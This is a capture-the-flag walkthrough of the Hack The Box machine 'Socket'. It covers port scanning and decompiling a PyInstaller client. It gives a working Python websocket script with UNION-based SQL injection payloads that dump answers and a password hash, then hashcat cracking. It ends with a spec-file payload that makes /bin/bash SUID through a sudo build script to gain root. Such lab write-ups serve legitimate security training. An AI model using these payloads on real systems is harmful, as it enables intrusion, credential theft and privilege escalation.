Hack The Box - Socket [Medium] - 20/08/2023

HTB Writeup

So let’s start with a rustscan of the machine

Open 10.10.11.206:22
Open 10.10.11.206:80
Open 10.10.11.206:5789
[~] Starting Script(s)
[~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-21 14:37 EEST
Initiating Ping Scan at 14:37
Scanning 10.10.11.206 [2 ports]
Completed Ping Scan at 14:37, 0.05s elapsed (1 total hosts)
Initiating Connect Scan at 14:37
Scanning qreader.htb (10.10.11.206) [3 ports]
Discovered open port 22/tcp on 10.10.11.206
Discovered open port 80/tcp on 10.10.11.206
Discovered open port 5789/tcp on 10.10.11.206
Completed Connect Scan at 14:37, 0.05s elapsed (3 total ports)
Nmap scan report for qreader.htb (10.10.11.206)
Host is up, received syn-ack (0.050s latency).
Scanned at 2023-04-21 14:37:19 EEST for 0s

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack
80/tcp   open  http    syn-ack
5789/tcp open  unknown syn-ack

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds

I went to port 80 to check what is there, the idea of the website is to create QR Codes and extract text out of QR Codes, first I thought that maybe there is something with the QR codes but after some examination I decided to give up on that path and I went over the other things such as the Linux/Windows application.

Upon further discovery using strings over the linux binary, I realized that this a packaged exectuable that was created with pyinstaller so I’ve tried to unpack it with uncompyle6 and then the pyc files with pycdc.

I found out the following things from the source code of qreader:

...
VERSION = '0.0.2'
ws_host = 'ws://ws.qreader.htb:5789'
...
def version(self):
        response = asyncio.run(ws_connect(ws_host + '/version', json.dumps({
            'version': VERSION })))
        data = json.loads(response)
        if 'error' not in data.keys():
            version_info = data['message']
            msg = f'''[INFO] You have version {version_info['version']} which was released on {version_info['released_date']}'''
            self.statusBar().showMessage(msg)
            return None
        error = None['error']
        self.statusBar().showMessage(error)

def update(self):
	response = asyncio.run(ws_connect(ws_host + '/update', json.dumps({
		'version': VERSION })))
	data = json.loads(response)
	if 'error' not in data.keys():
		msg = '[INFO] ' + data['message']
		self.statusBar().showMessage(msg)
		return None
	error = None['error']
	self.statusBar().showMessage(error)

This source code tries to connect to a websocket to get its version/update, so the paths for the websockets are:

ws://ws.qreader.htb:5789/update
ws://ws.qreader.htb:5789/version

I’ve tested both of these with claws tool. Then I crafted a python script to connect with the socket.

WARNING: Be really careful which quotes you are using, ' or " because that could interfere with the SQLi that I found in the version path!

from websockets.sync.client import connect
import json

with connect("ws://ws.qreader.htb:5789/version") as websocket:
    websocket.send(json.dumps({'version': '0.0.3" UNION SELECT group_concat(answer),2,3,4 from answers-- -'}))
    m = websocket.recv()
    print(m)

With this script, I’ve enumerated the tables, columns and the username with the following payloads:

'0.0.3" UNION SELECT group_concat(answer),2,3,4 from answers-- -' -> This finds the user Thomas Keller
'0.0.3" UNION SELECT group_concat(password),2,3,4 from users-- -' -> This find the password hash

Cracking the password

$ hashcat -m 0 -a 0 0c090c365fa0559b151a43e0fea39710 ~/tools/rockyou.txt
<PASSWORD>

Getting the username with adusergen

$ echo -n "Thomas Keller" | adusergen

Thomas.Keller
ThomasKeller
KellerThomas
Keller.Thomas
Tkeller
T.keller
Thomas-Keller
T.keller
thomas.keller
thomaskeller
kellerthomas
keller.thomas
		tkeller <--- Right One
t.keller
thomas-keller
t.keller

Root

The root was fairly easy, you just have to read the documentation for spec files for pyinstaller, after that I crafted the following spec file:

block_cipher = __import__('os').system('chmod +s /bin/bash')
tkeller@socket:~$ sudo /usr/local/sbin/build-installer.sh build priv.spec
105 INFO: PyInstaller: 5.6.2
105 INFO: Python: 3.10.6
107 INFO: Platform: Linux-5.15.0-67-generic-x86_64-with-glibc2.35
110 INFO: UPX is not available.
script '/home/tkeller/minimal.py' not found
tkeller@socket:~$ /bin/bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt 
<HASH>